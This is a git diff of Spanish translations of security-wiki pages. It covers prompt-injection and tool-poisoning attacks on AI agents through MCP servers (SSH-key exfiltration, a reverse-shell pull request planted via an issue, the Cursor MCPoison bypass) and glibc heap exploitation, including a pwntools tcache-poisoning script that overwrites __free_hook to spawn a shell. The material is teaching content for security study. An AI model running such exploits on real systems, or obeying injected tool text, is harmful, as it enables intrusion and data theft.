diff --git a/src/AI/AI-MCP-Servers.md b/src/AI/AI-MCP-Servers.md
index 1d064a4c8..524a427d9 100644
--- a/src/AI/AI-MCP-Servers.md
+++ b/src/AI/AI-MCP-Servers.md
@@ -5,7 +5,7 @@
## ¿Qué es MPC - Protocolo de Contexto del Modelo?
-El [**Protocolo de Contexto del Modelo (MCP)**](https://modelcontextprotocol.io/introduction) es un estándar abierto que permite a los modelos de IA (LLMs) conectarse con herramientas externas y fuentes de datos de manera plug-and-play. Esto permite flujos de trabajo complejos: por ejemplo, un IDE o chatbot puede *llamar dinámicamente funciones* en servidores MCP como si el modelo "supiera" naturalmente cómo usarlas. En el fondo, MCP utiliza una arquitectura cliente-servidor con solicitudes basadas en JSON a través de varios transportes (HTTP, WebSockets, stdio, etc.).
+El [**Protocolo de Contexto del Modelo (MCP)**](https://modelcontextprotocol.io/introduction) es un estándar abierto que permite a los modelos de IA (LLMs) conectarse con herramientas externas y fuentes de datos de manera plug-and-play. Esto permite flujos de trabajo complejos: por ejemplo, un IDE o chatbot puede *llamar dinámicamente a funciones* en servidores MCP como si el modelo "supiera" naturalmente cómo usarlas. En el fondo, MCP utiliza una arquitectura cliente-servidor con solicitudes basadas en JSON a través de varios transportes (HTTP, WebSockets, stdio, etc.).
Una **aplicación host** (por ejemplo, Claude Desktop, Cursor IDE) ejecuta un cliente MCP que se conecta a uno o más **servidores MCP**. Cada servidor expone un conjunto de *herramientas* (funciones, recursos o acciones) descritas en un esquema estandarizado. Cuando el host se conecta, solicita al servidor sus herramientas disponibles a través de una solicitud `tools/list`; las descripciones de herramientas devueltas se insertan en el contexto del modelo para que la IA sepa qué funciones existen y cómo llamarlas.
@@ -39,7 +39,7 @@ El servidor se iniciará y escuchará solicitudes MCP (usando entrada/salida est
brew install nodejs uv # You need these tools to make sure the inspector works
mcp dev calculator.py
```
-Una vez conectado, el host (inspector o un agente de IA como Cursor) obtendrá la lista de herramientas. La descripción de la herramienta `add` (generada automáticamente a partir de la firma de la función y la docstring) se carga en el contexto del modelo, lo que permite a la IA llamar a `add` siempre que sea necesario. Por ejemplo, si el usuario pregunta *"¿Cuál es 2+3?"*, el modelo puede decidir llamar a la herramienta `add` con los argumentos `2` y `3`, y luego devolver el resultado.
+Una vez conectado, el host (inspector o un agente de IA como Cursor) obtendrá la lista de herramientas. La descripción de la herramienta `add` (generada automáticamente a partir de la firma de la función y la docstring) se carga en el contexto del modelo, lo que permite que la IA llame a `add` siempre que sea necesario. Por ejemplo, si el usuario pregunta *"¿Cuál es 2+3?"*, el modelo puede decidir llamar a la herramienta `add` con los argumentos `2` y `3`, y luego devolver el resultado.
Para más información sobre Prompt Injection, consulta:
@@ -50,7 +50,7 @@ AI-Prompts.md
## Vulnerabilidades de MCP
> [!CAUTION]
-> Los servidores MCP invitan a los usuarios a tener un agente de IA que les ayude en todo tipo de tareas cotidianas, como leer y responder correos electrónicos, revisar problemas y solicitudes de extracción, escribir código, etc. Sin embargo, esto también significa que el agente de IA tiene acceso a datos sensibles, como correos electrónicos, código fuente y otra información privada. Por lo tanto, cualquier tipo de vulnerabilidad en el servidor MCP podría llevar a consecuencias catastróficas, como la exfiltración de datos, la ejecución remota de código o incluso la compromisión total del sistema.
+> Los servidores MCP invitan a los usuarios a tener un agente de IA que les ayude en todo tipo de tareas cotidianas, como leer y responder correos electrónicos, revisar problemas y solicitudes de extracción, escribir código, etc. Sin embargo, esto también significa que el agente de IA tiene acceso a datos sensibles, como correos electrónicos, código fuente y otra información privada. Por lo tanto, cualquier tipo de vulnerabilidad en el servidor MCP podría llevar a consecuencias catastróficas, como la exfiltración de datos, ejecución remota de código o incluso la completa compromisión del sistema.
> Se recomienda nunca confiar en un servidor MCP que no controles.
### Inyección de Prompt a través de Datos Directos de MCP | Ataque de Salto de Línea | Envenenamiento de Herramientas
@@ -59,7 +59,7 @@ Como se explica en los blogs:
- [MCP Security Notification: Tool Poisoning Attacks](https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks)
- [Jumping the line: How MCP servers can attack you before you ever use them](https://blog.trailofbits.com/2025/04/21/jumping-the-line-how-mcp-servers-can-attack-you-before-you-ever-use-them/)
-Un actor malicioso podría agregar herramientas inadvertidamente dañinas a un servidor MCP, o simplemente cambiar la descripción de herramientas existentes, lo que después de ser leído por el cliente MCP, podría llevar a un comportamiento inesperado y no notado en el modelo de IA.
+Un actor malicioso podría agregar herramientas inadvertidamente dañinas a un servidor MCP, o simplemente cambiar la descripción de herramientas existentes, lo que, después de ser leído por el cliente MCP, podría llevar a un comportamiento inesperado y no notado en el modelo de IA.
Por ejemplo, imagina a una víctima usando Cursor IDE con un servidor MCP de confianza que se vuelve malicioso y tiene una herramienta llamada `add` que suma 2 números. Incluso si esta herramienta ha estado funcionando como se esperaba durante meses, el mantenedor del servidor MCP podría cambiar la descripción de la herramienta `add` a una descripción que invite a la herramienta a realizar una acción maliciosa, como la exfiltración de claves ssh:
```python
@@ -79,15 +79,15 @@ Esta descripción sería leída por el modelo de IA y podría llevar a la ejecuc
Tenga en cuenta que, dependiendo de la configuración del cliente, podría ser posible ejecutar comandos arbitrarios sin que el cliente pida permiso al usuario.
-Además, tenga en cuenta que la descripción podría indicar el uso de otras funciones que podrían facilitar estos ataques. Por ejemplo, si ya hay una función que permite exfiltrar datos, tal vez enviando un correo electrónico (por ejemplo, el usuario está utilizando un servidor MCP conectado a su cuenta de gmail), la descripción podría indicar usar esa función en lugar de ejecutar un comando `curl`, que sería más probable que el usuario notara. Un ejemplo se puede encontrar en esta [entrada de blog](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/).
+Además, tenga en cuenta que la descripción podría indicar el uso de otras funciones que podrían facilitar estos ataques. Por ejemplo, si ya hay una función que permite exfiltrar datos, tal vez enviando un correo electrónico (por ejemplo, el usuario está utilizando un servidor MCP conectado a su cuenta de gmail), la descripción podría indicar usar esa función en lugar de ejecutar un comando `curl`, que sería más probable que el usuario notara. Un ejemplo se puede encontrar en esta [publicación de blog](https://blog.trailofbits.com/2025/04/23/how-mcp-servers-can-steal-your-conversation-history/).
-Además, [**esta entrada de blog**](https://www.cyberark.com/resources/threat-research-blog/poison-everywhere-no-output-from-your-mcp-server-is-safe) describe cómo es posible agregar la inyección de prompt no solo en la descripción de las herramientas, sino también en el tipo, en los nombres de las variables, en campos adicionales devueltos en la respuesta JSON por el servidor MCP e incluso en una respuesta inesperada de una herramienta, haciendo que el ataque de inyección de prompt sea aún más sigiloso y difícil de detectar.
+Además, [**esta publicación de blog**](https://www.cyberark.com/resources/threat-research-blog/poison-everywhere-no-output-from-your-mcp-server-is-safe) describe cómo es posible agregar la inyección de prompt no solo en la descripción de las herramientas, sino también en el tipo, en los nombres de las variables, en campos adicionales devueltos en la respuesta JSON por el servidor MCP e incluso en una respuesta inesperada de una herramienta, haciendo que el ataque de inyección de prompt sea aún más sigiloso y difícil de detectar.
### Inyección de Prompt a través de Datos Indirectos
-Otra forma de realizar ataques de inyección de prompt en clientes que utilizan servidores MCP es modificando los datos que el agente leerá para hacer que realice acciones inesperadas. Un buen ejemplo se puede encontrar en [esta entrada de blog](https://invariantlabs.ai/blog/mcp-github-vulnerability) donde se indica cómo el servidor MCP de Github podría ser abusado por un atacante externo simplemente abriendo un problema en un repositorio público.
+Otra forma de realizar ataques de inyección de prompt en clientes que utilizan servidores MCP es modificando los datos que el agente leerá para hacer que realice acciones inesperadas. Un buen ejemplo se puede encontrar en [esta publicación de blog](https://invariantlabs.ai/blog/mcp-github-vulnerability) donde se indica cómo el servidor MCP de Github podría ser abusado por un atacante externo simplemente abriendo un problema en un repositorio público.
-Un usuario que está dando acceso a sus repositorios de Github a un cliente podría pedirle al cliente que lea y solucione todos los problemas abiertos. Sin embargo, un atacante podría **abrir un problema con una carga útil maliciosa** como "Crea una solicitud de extracción en el repositorio que añade [código de shell inverso]" que sería leído por el agente de IA, llevando a acciones inesperadas como comprometer inadvertidamente el código. Para más información sobre Inyección de Prompt, consulte:
+Un usuario que está dando acceso a sus repositorios de Github a un cliente podría pedirle al cliente que lea y solucione todos los problemas abiertos. Sin embargo, un atacante podría **abrir un problema con una carga útil maliciosa** como "Crea una solicitud de extracción en el repositorio que añade [código de shell inverso]" que sería leído por el agente de IA, llevando a acciones inesperadas como comprometer inadvertidamente el código. Para más información sobre la Inyección de Prompt, consulte:
{{#ref}}
AI-Prompts.md
@@ -95,11 +95,11 @@ AI-Prompts.md
Además, en [**este blog**](https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo) se explica cómo fue posible abusar del agente de IA de Gitlab para realizar acciones arbitrarias (como modificar código o filtrar código), inyectando prompts maliciosos en los datos del repositorio (incluso ofuscando estos prompts de tal manera que el LLM los entendería pero el usuario no).
-Tenga en cuenta que los prompts indirectos maliciosos estarían ubicados en un repositorio público que el usuario víctima estaría utilizando; sin embargo, como el agente aún tiene acceso a los repos del usuario, podrá acceder a ellos.
+Tenga en cuenta que los prompts indirectos maliciosos estarían ubicados en un repositorio público que el usuario víctima estaría utilizando; sin embargo, como el agente aún tiene acceso a los repositorios del usuario, podrá acceder a ellos.
### Ejecución de Código Persistente a través de Bypass de Confianza de MCP (Cursor IDE – "MCPoison")
-A partir de principios de 2025, Check Point Research divulgó que el **Cursor IDE** centrado en IA vinculaba la confianza del usuario al *nombre* de una entrada de MCP, pero nunca revalidaba su `command` o `args` subyacentes.
+A partir de principios de 2025, Check Point Research reveló que el **Cursor IDE** centrado en IA vinculaba la confianza del usuario al *nombre* de una entrada de MCP, pero nunca revalidaba su `command` o `args` subyacentes.
Este error lógico (CVE-2025-54136, también conocido como **MCPoison**) permite a cualquier persona que pueda escribir en un repositorio compartido transformar un MCP ya aprobado y benigno en un comando arbitrario que se ejecutará *cada vez que se abra el proyecto* – sin que se muestre un prompt.
#### Flujo de trabajo vulnerable
@@ -115,7 +115,7 @@ Este error lógico (CVE-2025-54136, también conocido como **MCPoison**) permite
}
}
```
-2. La víctima abre el proyecto en Cursor y *aprueba* el MCP de `build`.
+2. La víctima abre el proyecto en Cursor y *aprueba* el `build` MCP.
3. Más tarde, el atacante reemplaza silenciosamente el comando:
```json
{
diff --git a/src/AI/AI-llm-architecture/README.md b/src/AI/AI-llm-architecture/README.md
index 003e99c15..37d6e94ce 100644
--- a/src/AI/AI-llm-architecture/README.md
+++ b/src/AI/AI-llm-architecture/README.md
@@ -6,7 +6,8 @@
## Información Básica
-Deberías comenzar leyendo esta publicación para algunos conceptos básicos que deberías conocer:
+Deberías comenzar leyendo esta publicación para algunos conceptos básicos que deberías conocer sobre:
+
{{#ref}}
0.-basic-llm-concepts.md
@@ -17,6 +18,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que
> [!TIP]
> El objetivo de esta fase inicial es muy simple: **Dividir la entrada en tokens (ids) de una manera que tenga sentido**.
+
{{#ref}}
1.-tokenizing.md
{{#endref}}
@@ -26,6 +28,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que
> [!TIP]
> El objetivo de esta segunda fase es muy simple: **Muestrear los datos de entrada y prepararlos para la fase de entrenamiento, generalmente separando el conjunto de datos en oraciones de una longitud específica y generando también la respuesta esperada.**
+
{{#ref}}
2.-data-sampling.md
{{#endref}}
@@ -36,7 +39,8 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que
> El objetivo de esta tercera fase es muy simple: **Asignar a cada uno de los tokens anteriores en el vocabulario un vector de las dimensiones deseadas para entrenar el modelo.** Cada palabra en el vocabulario será un punto en un espacio de X dimensiones.\
> Ten en cuenta que inicialmente la posición de cada palabra en el espacio se inicializa "aleatoriamente" y estas posiciones son parámetros entrenables (se mejorarán durante el entrenamiento).
>
-> Además, durante el embedding de tokens **se crea otra capa de embeddings** que representa (en este caso) la **posición absoluta de la palabra en la oración de entrenamiento**. De esta manera, una palabra en diferentes posiciones en la oración tendrá una representación (significado) diferente.
+> Además, durante el embedding de tokens **se crea otra capa de embeddings** que representa (en este caso) la **posición absoluta de la palabra en la oración de entrenamiento**. De esta manera, una palabra en diferentes posiciones en la oración tendrá una representación diferente (significado).
+
{{#ref}}
3.-token-embeddings.md
@@ -48,6 +52,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que
> El objetivo de esta cuarta fase es muy simple: **Aplicar algunos mecanismos de atención**. Estos serán muchas **capas repetidas** que van a **capturar la relación de una palabra en el vocabulario con sus vecinos en la oración actual que se está utilizando para entrenar el LLM**.\
> Se utilizan muchas capas para esto, por lo que muchos parámetros entrenables van a capturar esta información.
+
{{#ref}}
4.-attention-mechanisms.md
{{#endref}}
@@ -59,6 +64,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que
>
> Esta arquitectura se utilizará tanto para el entrenamiento como para predecir texto después de haber sido entrenada.
+
{{#ref}}
5.-llm-architecture.md
{{#endref}}
@@ -68,6 +74,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que
> [!TIP]
> El objetivo de esta sexta fase es muy simple: **Entrenar el modelo desde cero**. Para esto se utilizará la arquitectura LLM anterior con algunos bucles sobre los conjuntos de datos utilizando las funciones de pérdida y optimizador definidos para entrenar todos los parámetros del modelo.
+
{{#ref}}
6.-pre-training-and-loading-models.md
{{#endref}}
@@ -77,6 +84,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que
> [!TIP]
> El uso de **LoRA reduce mucho la computación** necesaria para **ajustar finamente** modelos ya entrenados.
+
{{#ref}}
7.0.-lora-improvements-in-fine-tuning.md
{{#endref}}
@@ -86,6 +94,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que
> [!TIP]
> El objetivo de esta sección es mostrar cómo ajustar finamente un modelo ya preentrenado para que en lugar de generar nuevo texto, el LLM seleccione y dé las **probabilidades de que el texto dado sea categorizado en cada una de las categorías dadas** (como si un texto es spam o no).
+
{{#ref}}
7.1.-fine-tuning-for-classification.md
{{#endref}}
@@ -95,6 +104,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que
> [!TIP]
> El objetivo de esta sección es mostrar cómo **ajustar finamente un modelo ya preentrenado para seguir instrucciones** en lugar de solo generar texto, por ejemplo, respondiendo a tareas como un chatbot.
+
{{#ref}}
7.2.-fine-tuning-to-follow-instructions.md
{{#endref}}
diff --git a/src/AI/README.md b/src/AI/README.md
index c0301142f..c341a5075 100644
--- a/src/AI/README.md
+++ b/src/AI/README.md
@@ -6,18 +6,22 @@
El mejor punto de partida para aprender sobre IA es entender cómo funcionan los principales algoritmos de aprendizaje automático. Esto te ayudará a entender cómo funciona la IA, cómo usarla y cómo atacarla:
+
{{#ref}}
./AI-Supervised-Learning-Algorithms.md
{{#endref}}
+
{{#ref}}
./AI-Unsupervised-Learning-Algorithms.md
{{#endref}}
+
{{#ref}}
./AI-Reinforcement-Learning-Algorithms.md
{{#endref}}
+
{{#ref}}
./AI-Deep-Learning.md
{{#endref}}
@@ -26,6 +30,7 @@ El mejor punto de partida para aprender sobre IA es entender cómo funcionan los
En la siguiente página encontrarás los conceptos básicos de cada componente para construir un LLM básico utilizando transformadores:
+
{{#ref}}
AI-llm-architecture/README.md
{{#endref}}
@@ -36,6 +41,7 @@ AI-llm-architecture/README.md
En este momento, los 2 principales marcos para evaluar los riesgos de los sistemas de IA son el OWASP ML Top 10 y el Google SAIF:
+
{{#ref}}
AI-Risk-Frameworks.md
{{#endref}}
@@ -44,6 +50,7 @@ AI-Risk-Frameworks.md
Los LLMs han hecho que el uso de IA explote en los últimos años, pero no son perfectos y pueden ser engañados por prompts adversariales. Este es un tema muy importante para entender cómo usar la IA de manera segura y cómo atacarla:
+
{{#ref}}
AI-Prompts.md
{{#endref}}
@@ -52,13 +59,15 @@ AI-Prompts.md
Es muy común que desarrolladores y empresas ejecuten modelos descargados de Internet, sin embargo, solo cargar un modelo podría ser suficiente para ejecutar código arbitrario en el sistema. Este es un tema muy importante para entender cómo usar la IA de manera segura y cómo atacarla:
+
{{#ref}}
AI-Models-RCE.md
{{#endref}}
### Protocolo de Contexto de Modelos de IA
-MCP (Protocolo de Contexto de Modelos) es un protocolo que permite a los clientes de agentes de IA conectarse con herramientas externas y fuentes de datos de manera plug-and-play. Esto permite flujos de trabajo e interacciones complejas entre modelos de IA y sistemas externos:
+MCP (Protocolo de Contexto de Modelos) es un protocolo que permite a los clientes de agentes de IA conectarse con herramientas externas y fuentes de datos de manera plug-and-play. Esto habilita flujos de trabajo complejos e interacciones entre modelos de IA y sistemas externos:
+
{{#ref}}
AI-MCP-Servers.md
@@ -66,6 +75,7 @@ AI-MCP-Servers.md
### Fuzzing Asistido por IA y Descubrimiento Automatizado de Vulnerabilidades
+
{{#ref}}
AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md
{{#endref}}
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
index 90fa9132f..9d1a7c0a5 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
@@ -1,4 +1,4 @@
-# WWW2Exec - \_\_malloc_hook & \_\_free_hook
+# WWW2Exec - __malloc_hook & __free_hook
{{#include ../../banners/hacktricks-training.md}}
@@ -19,7 +19,7 @@ Más información sobre One Gadget en:
## Free Hook
-Esto fue abusado en uno de los ejemplos de la página que abusaba de un ataque de fast bin después de haber abusado de un ataque de unsorted bin:
+Esto fue abusado en uno de los ejemplos de la página abusando de un ataque de fast bin después de haber abusado de un ataque de unsorted bin:
{{#ref}}
../libc-heap/unsorted-bin-attack.md
@@ -29,7 +29,7 @@ Es posible encontrar la dirección de `__free_hook` si el binario tiene símbolo
```bash
gef➤ p &__free_hook
```
-[En la publicación](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) puedes encontrar una guía paso a paso sobre cómo localizar la dirección del hook de free sin símbolos. Como resumen, en la función free:
+[En la publicación](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) puedes encontrar una guía paso a paso sobre cómo localizar la dirección del free hook sin símbolos. Como resumen, en la función free:
gef➤ x/20i free
0xf75dedc0 : push ebx
@@ -43,11 +43,11 @@ gef➤ p &__free_hook
0xf75deddd : jne 0xf75dee50
-En el mencionado break en el código anterior, en `$eax` se localizará la dirección del hook de free.
+En el mencionado break en el código anterior, en `$eax` se localizará la dirección del free hook.
Ahora se realiza un **ataque de fast bin**:
-- En primer lugar, se descubre que es posible trabajar con **chunks de tamaño 200** en la ubicación de **`__free_hook`**:
+- Primero se descubre que es posible trabajar con **chunks de tamaño 200** en la ubicación de **`__free_hook`**:
-
- Si logramos obtener un chunk rápido de tamaño 0x200 en esta ubicación, será posible sobrescribir un puntero de función que se ejecutará.
- Para esto, se crea un nuevo chunk de tamaño `0xfc` y se llama a la función combinada con ese puntero dos veces, de esta manera obtenemos un puntero a un chunk liberado de tamaño `0xfc*2 = 0x1f8` en el fast bin.
-- Luego, se llama a la función de edición en este chunk para modificar la dirección de **`fd`** de este fast bin para que apunte a la función **`__free_hook`** anterior.
+- Luego, se llama a la función de edición en este chunk para modificar la dirección **`fd`** de este fast bin para que apunte a la función **`__free_hook`** anterior.
- Después, se crea un chunk de tamaño `0x1f8` para recuperar del fast bin el chunk inútil anterior, por lo que se crea otro chunk de tamaño `0x1f8` para obtener un chunk de fast bin en el **`__free_hook`** que se sobrescribe con la dirección de la función **`system`**.
- Y finalmente, se libera un chunk que contiene la cadena `/bin/sh\x00` llamando a la función de eliminación, activando la función **`__free_hook`** que apunta a system con `/bin/sh\x00` como parámetro.
+---
+
+## Envenenamiento de Tcache & Safe-Linking (glibc 2.32 – 2.33)
+
+glibc 2.32 introdujo **Safe-Linking** – un chequeo de integridad que protege las listas *simplemente* enlazadas utilizadas por **tcache** y fast-bins. En lugar de almacenar un puntero hacia adelante en bruto (`fd`), ptmalloc ahora lo almacena *ofuscado* con el siguiente macro:
+```c
+#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
+#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
+```
+Consecuencias de la explotación:
+
+1. Una **heap leak** es obligatoria: el atacante debe conocer el valor en tiempo de ejecución de `chunk_addr >> 12` para crear un puntero ofuscado válido.
+2. Solo se puede falsificar el puntero de 8 bytes *completo*; las sobrescrituras parciales de un solo byte no pasarán la verificación.
+
+Un primitivo mínimo de envenenamiento de tcache que sobrescribe `__free_hook` en glibc 2.32/2.33, por lo tanto, se ve así:
+```py
+from pwn import *
+
+libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
+p = process("./vuln")
+
+# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
+heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
+heap_base = heap_leak & ~0xfff
+fd_key = heap_base >> 12 # value used by PROTECT_PTR
+log.success(f"heap @ {hex(heap_base)}")
+
+# 2. Prepare two same-size chunks and double-free one of them
+a = malloc(0x48)
+b = malloc(0x48)
+free(a)
+free(b)
+free(a) # tcache double-free ⇒ poisoning primitive
+
+# 3. Forge obfuscated fd that points to __free_hook
+free_hook = libc.sym['__free_hook']
+poison = free_hook ^ fd_key
+edit(a, p64(poison)) # overwrite fd of tcache entry
+
+# 4. Two mallocs: the second one returns a pointer to __free_hook
+malloc(0x48) # returns chunk a
+c = malloc(0x48) # returns chunk @ __free_hook
+edit(c, p64(libc.sym['system']))
+
+# 5. Trigger
+bin_sh = malloc(0x48)
+edit(bin_sh, b"/bin/sh\x00")
+free(bin_sh)
+```
+El fragmento anterior fue adaptado de desafíos recientes de CTF como *UIUCTF 2024 – «Rusty Pointers»* y *openECSC 2023 – «Babyheap G»*, ambos de los cuales dependían de bypasses de Safe-Linking para sobrescribir `__free_hook`.
+
+---
+
+## ¿Qué cambió en glibc ≥ 2.34?
+
+A partir de **glibc 2.34 (agosto de 2021)**, los ganchos de asignación `__malloc_hook`, `__realloc_hook`, `__memalign_hook` y `__free_hook` fueron **eliminados de la API pública y ya no son invocados por el asignador**. Los símbolos de compatibilidad aún se exportan para binarios heredados, pero sobrescribirlos ya no influye en el flujo de control de `malloc()` o `free()`.
+
+Implicación práctica: en distribuciones modernas (Ubuntu 22.04+, Fedora 35+, Debian 12, etc.) debes pivotar a *otros* primitivos de secuestro (IO-FILE, `__run_exit_handlers`, rociado de vtable, etc.) porque las sobrescrituras de ganchos fallarán silenciosamente.
+
+Si aún necesitas el comportamiento antiguo para depuración, glibc incluye `libc_malloc_debug.so` que se puede cargar previamente para reactivar los ganchos heredados, pero la biblioteca **no está destinada a producción y puede desaparecer en futuras versiones**.
+
+---
+
## Referencias
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
+- Safe-Linking – Eliminando un primitivo de exploit de malloc() de 20 años (Check Point Research, 2020)
+- notas de lanzamiento de glibc 2.34 – eliminación de ganchos de malloc
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
index a70bbaa6b..fd21036fd 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
@@ -8,7 +8,7 @@
La **Tabla de Desplazamiento Global (GOT)** es un mecanismo utilizado en binarios vinculados dinámicamente para gestionar las **direcciones de funciones externas**. Dado que estas **direcciones no se conocen hasta el tiempo de ejecución** (debido al enlace dinámico), la GOT proporciona una forma de **actualizar dinámicamente las direcciones de estos símbolos externos** una vez que se resuelven.
-Cada entrada en la GOT corresponde a un símbolo en las bibliotecas externas que el binario puede llamar. Cuando se **llama a una función por primera vez, su dirección real es resuelta por el vinculador dinámico y almacenada en la GOT**. Las llamadas posteriores a la misma función utilizan la dirección almacenada en la GOT, evitando así el costo de resolver la dirección nuevamente.
+Cada entrada en la GOT corresponde a un símbolo en las bibliotecas externas que el binario puede llamar. Cuando se **llama a una función por primera vez, su dirección real es resuelta por el vinculador dinámico y almacenada en la GOT**. Las llamadas subsiguientes a la misma función utilizan la dirección almacenada en la GOT, evitando así el costo de resolver la dirección nuevamente.
### **PLT: Tabla de Enlace de Procedimientos**
@@ -26,7 +26,7 @@ Obtén la dirección de la tabla GOT con: **`objdump -s -j .got ./exec`**
Observa cómo después de **cargar** el **ejecutable** en GEF puedes **ver** las **funciones** que están en la **GOT**: `gef➤ x/20x 0xADDR_GOT`
- (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
+ (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
Usando GEF puedes **iniciar** una sesión de **depuración** y ejecutar **`got`** para ver la tabla got:
@@ -36,13 +36,13 @@ Usando GEF puedes **iniciar** una sesión de **depuración** y ejecutar **`got`*
En un binario, la GOT tiene las **direcciones a las funciones o** a la **sección PLT** que cargará la dirección de la función. El objetivo de esta escritura arbitraria es **sobrescribir una entrada de la GOT** de una función que se va a ejecutar más tarde **con** la **dirección** de la PLT de la **función** **`system`** por ejemplo.
-Idealmente, deberías **sobrescribir** la **GOT** de una **función** que va a ser **llamada con parámetros controlados por ti** (así podrás controlar los parámetros enviados a la función del sistema).
+Idealmente, deberías **sobrescribir** la **GOT** de una **función** que va a ser **llamada con parámetros controlados por ti** (así podrás controlar los parámetros enviados a la función system).
-Si **`system`** **no es utilizado** por el binario, la función del sistema **no** tendrá una entrada en la PLT. En este escenario, necesitarás **filtrar primero la dirección** de la función `system` y luego sobrescribir la GOT para apuntar a esta dirección.
+Si **`system`** **no es utilizado** por el binario, la función system **no** tendrá una entrada en la PLT. En este escenario, necesitarás **filtrar primero la dirección** de la función `system` y luego sobrescribir la GOT para apuntar a esta dirección.
Puedes ver las direcciones de la PLT con **`objdump -j .plt -d ./vuln_binary`**
-## Entradas de la GOT de libc
+## entradas de GOT de libc
La **GOT de libc** generalmente se compila con **RELRO parcial**, lo que la convierte en un buen objetivo para esto suponiendo que sea posible averiguar su dirección ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
@@ -60,22 +60,24 @@ Otra técnica común es sobrescribir la dirección GOT de **`strlen`** para apun
Además, si `puts` se utiliza con entrada del usuario, es posible sobrescribir la dirección GOT de `strlen` para apuntar a `system` y pasar la cadena `"/bin/sh"` para obtener un shell porque **`puts` llamará a `strlen` con la entrada del usuario**.
-## **One Gadget**
+## **Un Gadget**
+
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
-## **Abusando de la GOT desde Heap**
+## **Abusando de la GOT desde el Heap**
-Una forma común de obtener RCE a partir de una vulnerabilidad de heap es abusar de un fastbin para que sea posible agregar la parte de la tabla GOT en el fast bin, de modo que cada vez que ese chunk se asigne será posible **sobrescribir el puntero de una función, generalmente `free`**.\
+Una forma común de obtener RCE a partir de una vulnerabilidad en el heap es abusar de un fastbin para que sea posible agregar la parte de la tabla GOT en el fast bin, de modo que cada vez que ese chunk se asigne será posible **sobrescribir el puntero de una función, generalmente `free`**.\
Luego, apuntando `free` a `system` y liberando un chunk donde se escribió `/bin/sh\x00` se ejecutará un shell.
Es posible encontrar un [**ejemplo aquí**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
## **Protecciones**
-La protección de **Full RELRO** está destinada a proteger contra este tipo de técnica resolviendo todas las direcciones de las funciones cuando se inicia el binario y haciendo que la **tabla GOT sea de solo lectura** después de eso:
+La protección de **Full RELRO** está destinada a proteger contra este tipo de técnica resolviendo todas las direcciones de las funciones cuando se inicia el binario y haciendo que la **tabla GOT sea de solo lectura** después de ello:
+
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
index 3f05591cf..aa0c30fc7 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
@@ -26,13 +26,13 @@ Hay diferentes formas en las que podrías terminar controlando el flujo de un pr
- [**Desbordamientos de Pila**](../stack-overflow/index.html) sobrescribiendo el puntero de retorno desde la pila o el EBP -> ESP -> EIP.
- Podrías necesitar abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento.
-- O a través de **Escrituras Arbitrarias + Escribir Qué Dónde para Ejecución**.
+- O a través de **Escrituras Arbitrarias + Write What Where to Execution**.
- [**Cadenas de Formato**](../format-strings/index.html)**:** Abusar de `printf` para escribir contenido arbitrario en direcciones arbitrarias.
- [**Indexación de Arreglos**](../array-indexing.md): Abusar de una indexación mal diseñada para poder controlar algunos arreglos y obtener una escritura arbitraria.
- Podrías necesitar abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento.
